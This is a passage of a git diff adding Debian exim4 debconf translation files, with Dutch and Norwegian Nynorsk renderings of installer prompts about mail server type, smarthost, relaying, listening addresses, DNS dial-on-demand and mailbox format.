+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Gelieve hier het IP-adres of de computernaam van de mailserver die als "
+"uitgaande smarthost gebruikt moet worden in te geven. Als de smarthost uw e-"
+"mail enkel aanvaart op een andere poort dan TCP/25 dient u 2 dubbele punten "
+"en het te gebruiken poortnummer toe te voegen (bv. smarthost.voorbeeld:587 "
+"of 192.168.254.254::2525). In IPv6-adressen dienen de dubbele punten "
+"gedubbeld te worden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Als de smarthost authenticatie vereist, dienen er aanvullende instellingen "
+"gedaan te worden. Verdere informatie over het instellen van SMTP-"
+"authenticatie vindt u in /usr/share/doc/exim4-base ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Wie dient de e-mail voor root en postmaster te ontvangen?"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"E-mail voor de 'postmaster', 'root' en andere systeemaccounts dient omgeleid "
+"te worden naar de gebruikersaccount van de eigenlijke systeembeheerder."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Als u deze waarde leeg laat, wordt deze e-mail opgeslagen in /var/mail/mail, "
+"maar dit is niet aan te raden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"sMerk op dat de e-mail van postmaster best gelezen wordt op het systeem "
+"waarnaar de e-mail gericht is (en niet omgeleid naar een ander systeem). Om "
+"die reden is het best als de e-mail van (op z'n minst) één van de gekozen "
+"gebruikers niet omgeleid wordt naar een ander systeem. Om lokale aflevering "
+"af te dwingen kunt u het voorvoegsel 'real-' gebruiken."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Meerdere gebruikersnamen dienen gescheiden te worden met spaties."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+"IP-adressen waarop geluisterd moet worden naar inkomende SMTP-verbindingen:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Gelieve een door puntkomma's gescheiden lijst van IP-adressen in te geven. "
+"De luisterende SMTP-achtergronddienst van Exim zal luisteren op alle hier "
+"aangegeven IP-adressen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Een lege waarde zorgt ervoor dat Exim op alle beschikbare netwerkapparaten "
+"naar verbindingen luistert."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Indien dit systeem enkel rechtstreeks e-mail ontvangt van lokale diensten "
+"(zoals fetchmail) en dus niet van andere computers is het aan te raden om "
+"externe verbindingen naar de lokale Exim-achtergronddienst te verhinderen. "
+"Zo'n diensten omvatten e-mailprogramma's (MUA's) die enkel met localhost "
+"contact maken en fetchmail. Externe verbindingen zijn onmogelijk wanneer "
+"hier 127.0.0.1 ingeven wordt, daar dit luisteren op publieke netwerk-"
+"interfaces uitschakelt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Aantal DNS-aanvragen minimaliseren (inbellen-op-aanvraag)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"In de normale operatiemodus zal Exim DNS-opzoekingen doen bij het opstarten, "
+"en bij het ontvangen of versturen van een bericht. Dit is enkel omwille van "
+"logboekdoeleinden en laat toe om het aantal vaste (hard-coded) waarden in de "
+"configuratie klein te houden."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Er kunnen ongewenste gevolgen optreden indien dit systeem niet altijd "
+"toegang heeft tot een DNS-naamserver (bijvoorbeeld omdat voor toegang tot "
+"het Internet gebruik gemaakt wordt van een inbellen-op-aanvraag verbinding). "
+"Zo zal dan bij het opstarten van exim, of bij het afhandelen van de wachtrij "
+"(zelfs wanneer deze geen berichten bevat) een kostbare inbelverbinding tot "
+"stand gebracht wordt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Deze optie dient geactiveerd te zijn wanneer u inbellen-op-aanvraag "
+"gebruikt. Als dit systeem een permanente Internet-verbinding heeft dient "
+"deze optie uitgeschakeld te zijn."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuratie van de E-mailserver"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Configuratiebestand opsplitsen in kleinere bestanden?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Om de uiteindelijke configuratie te genereren kunnen de Debian exim4-"
+"pakketten of een 'ongesplitste' configuratie in één groot monolitisch "
+"bestand (/etc/exim4/exim4.conf.template), of een 'opgesplitste' configuratie "
+"in ongeveer 50 kleinere bestanden in /etc/exim4/conf.d/ gebruiken."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Ongesplitste configuratie is het meest geschikt voor grote aanpassingen en "
+"is stabieler, terwijl een gesplitste configuratie meer geschikt is om een "
+"een heleboel kleine aanpassingen te maken, maar is ook kwetsbaarder (wat kan "
+"leiden tot een niet-werkende configuratie bij onvoorzichtige aanpassingen)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Een meer gedetailleerde discussie van gesplitste versus ongesplitste "
+"configuratie vindt u in de Debian-specifieke README-bestanden in /usr/share/"
+"doc/exim4-base ."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Lokale e-mailnaam verbergen in uitgaande e-mail?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"De kopteksten van uitgaande e-mails kunnen herschreven worden om de indruk "
+"te geven dat de e-mail verstuurd wordt vanaf een ander systeem. Als deze "
+"optie actief is worden '${mailname}', 'localhost' en '${dc_other_hostnames}' "
+"in de 'From'-, 'Reply-To'-, 'Sender'- en 'Return-Path'-kopteksten "
+"herschreven."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox-formaat in /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-formaat in de thuismap"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Aflevermethode voor lokale e-mail:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kan de lokaal afgeleverde e-mail in verschillende formaten opslaan. De "
+"meestgebruikte formaten zijn mbox en Maildir. Het mbox-formaat gebruikt een "
+"enkel bestand met daarin alle e-mail voor een gebruiker en slaat dit op in /"
+"var/mail. Bij gebruik van het maildir-formaat wordt elk bericht opgeslagen "
+"in een afzonderlijk bestand in ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Merk op dat de meeste e-mailprogramma's in Debian standaard verwachten dat "
+"de lokale aflevermethode mbox is."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Nog niet afgeleverde e-mails verplaatsen van de exim(v3)-spoolmap naar de "
+#~ "exim4-spoolmap?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Er zijn nog enkele niet-afgeleverde berichten in de exim(v3) (of exim-tls"
+#~ "(v3)) spoolmap /var/spool/exim/input."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Als deze optie gekozen wordt worden de berichten naar de spoolmap van "
+#~ "exim4 verplaatst (/var/spool/exim4/input/) waar ze verder door exim4 "
+#~ "afgehandeld worden."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Dit is eenrichtingsverkeer: Exim4 kan de exim(v4) spoolmap aan, maar niet "
+#~ "omgekeerd. Bijgevolg dient u de berichten enkel te verplaatsen als u niet "
+#~ "van plan bent om later terug te gaan naar exim(v3). Als deze voorwaarde "
+#~ "niet geldt dient u de berichten later handmatig over te zetten."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Dit leeg laten zorgt ervoor dat Exim geen lokale afleveringen verzorgt."
diff --git a/debian/po/nn.po b/debian/po/nn.po
new file mode 100644
index 0000000..6666c22
--- /dev/null
+++ b/debian/po/nn.po
@@ -0,0 +1,660 @@
+# translation of nn.po to Norwegian nynorsk
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# HÃ¥vard Korsvoll <korsvoll@skulelinux.no>, 2004.
+# HÃ¥vard Korsvoll <korsvoll@gmail.com>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: nn\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-10-01 14:55+0200\n"
+"Last-Translator: HÃ¥vard Korsvoll <korsvoll@gmail.com>\n"
+"Language-Team: Norwegian nynorsk <i18n-nn@lister.ping.uio.no>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Fjerne e-post som ikkje er sendt frå kømappa?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"I kømappa til exim /var/spool/exim4/input/ er det framleis e-post som ikkje "
+"er levert enno. Ved å fjerne Exim vil desse forbli ulevert fram til Exim "
+"blir installert igjen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Viss dette ikkje er valt, vil kømappa bli lagt igjen. Meldingane i kømappa "
+"kan då bli levert ved eit seinare høve etter ein reinstallasjon av Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Vil du setje opp exim4-config i staden for denne pakka?"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Oppsettet av Exim4 er skilt ut i ein eigen pakke, exim4-config. For å setje "
+"opp Exim4, bruk dpkg-reconfigure exim4-config."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internettstad; e-post vert sendt og motteke direkte med SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "e-post sendt med smarthost; motteke med SMTP eller fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "e-post sendt med smarthost; ingen lokal e-post"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "berre lokal levering; ikkje på eit nettverk"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ikkje setja opp noko no"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Generell type e-postoppsett:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Vel det oppsettet som passar best for din e-posttenar."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"System med dynamisk IP-adresse, inkludert system med oppringt "
+"internettsamband, bør generelt setjast opp til å senda e-post til ei anna "
+"maskin som vert kalla ein «smarthost» for å levera e-posten. Grunnen er at "
+"mange e-posttenarar på nettet blokkerer e-post frå dynamiske IP-adressar for "
+"å verne seg mot søppelpost."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Eit system med dynamisk IP-adresse kan motta sin eigen e-post, eller lokal "
+"leveranse kan slåast fullstendig av (bortsett frå e-post til root og "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Vil du verkeleg la vera å setja opp e-postsystemet?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Før e-postsystemet ditt er sett opp, vil det ikkje fungera og kan ikkje "
+"brukast. Du kan naturlegvis setja det opp seinare, anten manuelt eller ved å "
+"køyra «dpkg-reconfigure exim4-config» som root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Systemet sitt e-postnamn:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"«E-postnamnet» er domenenamnet som vert brukt til å fylle ut e-postadressar "
+"utan domenenamn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Dette namnet vil også bli brukt av andre program. Det bør vera det eine, "
+"fullt kvalifiserte domenenamnet (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Viss ein e-postadresse på den lokale verten til dømes er brukar@domene.no, "
+"så er den riktige verdien som skal brukast her domene.no."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Dette namnet vil ikkje koma fram i Frå:-linja i utgåande meldingar viss du "
+"slår på omskriving."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Andre destinasjonar som e-post vert godteke for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Skriv inn ei liste, skilde med semikolon, over domener som denne maskina "
+"skal rekna seg sjølv som sluttdestinasjon for. Desse domena vert vanlegvis "
+"kalla for «lokaldomener». Det lokale vertsnamnet (${fqdn}) og «localhost» "
+"vert alltid lagt til denne lista. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Som standard vil alle domener bli handtert likt. Viss både a.døme og b.døme "
+"er lokale domener, vil acc@a.døme og acc@b.døme bli levert til den same "
+"mottakaren. viss du vil at ulike domenenamn skal handterast ulikt, må du "
+"redigere oppsettsfilene etterpå."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domener det skal vidaresendast e-post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Skriv inn ei liste over domener - med semikolon mellom - som dette systemet "
+"skal videresene meldingar til, til dømes som ein reserve-MX eller e-"
+"postportnar. Dette betyr at dette systemet vil akseptere e-post til desse "
+"domena frå kvar som helst på Internett og levere dei i samsvar med lokale "
+"leveringsreglar."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ikkje oppgje lokale domene her. Jokerteikn kan brukast."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Maskiner det skal vidaresendast e-post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Oppgje ei liste over IP-adresseområde - med semikolon mellom - som dette "
+"systemet utan vilkår skal vidaresende e-post for og fungere som smartvert."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Du må bruke standard adresse/lengde-format (t.d. 194.222.242.0/24 eller "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Viss dette systemet ikkje skal vere smartvert for nokon andre system, så la "
+"denne lista vere tom."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Synlege domenenamn for lokale brukarar:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Valet om å gøyme det lokale e-postnamnet i utgåande e-post er slått på. Det "
+"er derfor naudsynt å oppgje det domenenamnet dette systemet skal bruke i "
+"domenedelen til avsenderadressa for lokale brukarar."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-adresse eller vertsnamn for utgåande smartvert:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Oppgje IP-adresse eller vertsnamn for ein e-posttenar som dette systemet "
+"skal bruke som utgåande smartvert. Viss smartverten berre tek imot e-post på "
+"ein anna port enn TCP/24, så legg til to kolonner og portnummeret (t.d. "
+"smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser "
+"må doblast."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Viss smartverten krev autentisering, så sjå etter i den debianspesifikke "
+"README-fila i /usr/share/doc/exim4-base/ for merknader om korleis setja opp "
+"SMTP-autentisering."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "E-postmottakarar for root og postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Post til «postmaster», «root» og andre systemkontoar må vidaresendast til "
+"brukarkontoen til han som er systemadministrator."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Viss dette stårt tomt, så vil slik e-post bli lagra i /var/mail/mail, noko "
+"som ikkje er tilrådd."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Merk at e-post til «postmaster» bør lesast på det systemet han er adressert "
+"til og ikkje vidaresendast til andre system, så (minst ein av) brukarane du "
+"vel bør ikkje ha e-posten sin vidaresendt frå denne maskina. Bruk eit "
+"«verkeleg»- prefiks for å tvinge fram lokal levering."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Om du skriv inn fleire brukarnamn må dei skiljast med mellomrom."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+"Kva IP-adresser som skal lyttast etter for innkomande SMTP-tilkoplingar:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Oppgje ei liste over IP-adresser, skilde med semikolon. Exims SMTP-teneste "
+"vil lytte på alle IP-adresser som er oppgjeve her."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Viss du lar dette feltet stå tomt, vil Exim lytta etter tilkoplingar frå "
+"alle tilgjengelege nettverksgrensesnitt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Viss denne maskina berre mottek e-post frå lokale tenester (og ikkje frå "
+"andre vertar), så bør du hindra eksterne tilkoplingar til den lokale Exim-"
+"systemet. Slike tenester inkluderer e-postprogram (MUA) som snakkar med den "
+"lokale verten og til dømes fetchmail. Eksterne tilkoplingar vert umogeleg "
+"viss ein vel å setja dette feltet til 127.0.0.1. Exim vil då ikkje lytta på "
+"offentlege nettverksgrensesnitt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Hald talet på DNS-spørjingar på eit minimum (oppringt samband)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"I vanleg modus gjer Exim DNS-spørjingar ved oppstart, ved mottak eller "
+"levering av meldingar osv. Dette for å logga hendingar og halda talet på "
+"hardkoda verdiar i oppsettsfila nede."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Viss dette er ein vert utan tilgang til permanent DNS-namnetenar (til dømes "
+"eit oppringt samband som koplar til etter behov), vil dette ha uønskte "
+"effektar. Oppstart av Exim eller køyring av køa (sjølv med ingen meldingar i "
+"køen) kan utløyse ei dyr oppringing av sambandet utan at det reelt er trong "
+"for det."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
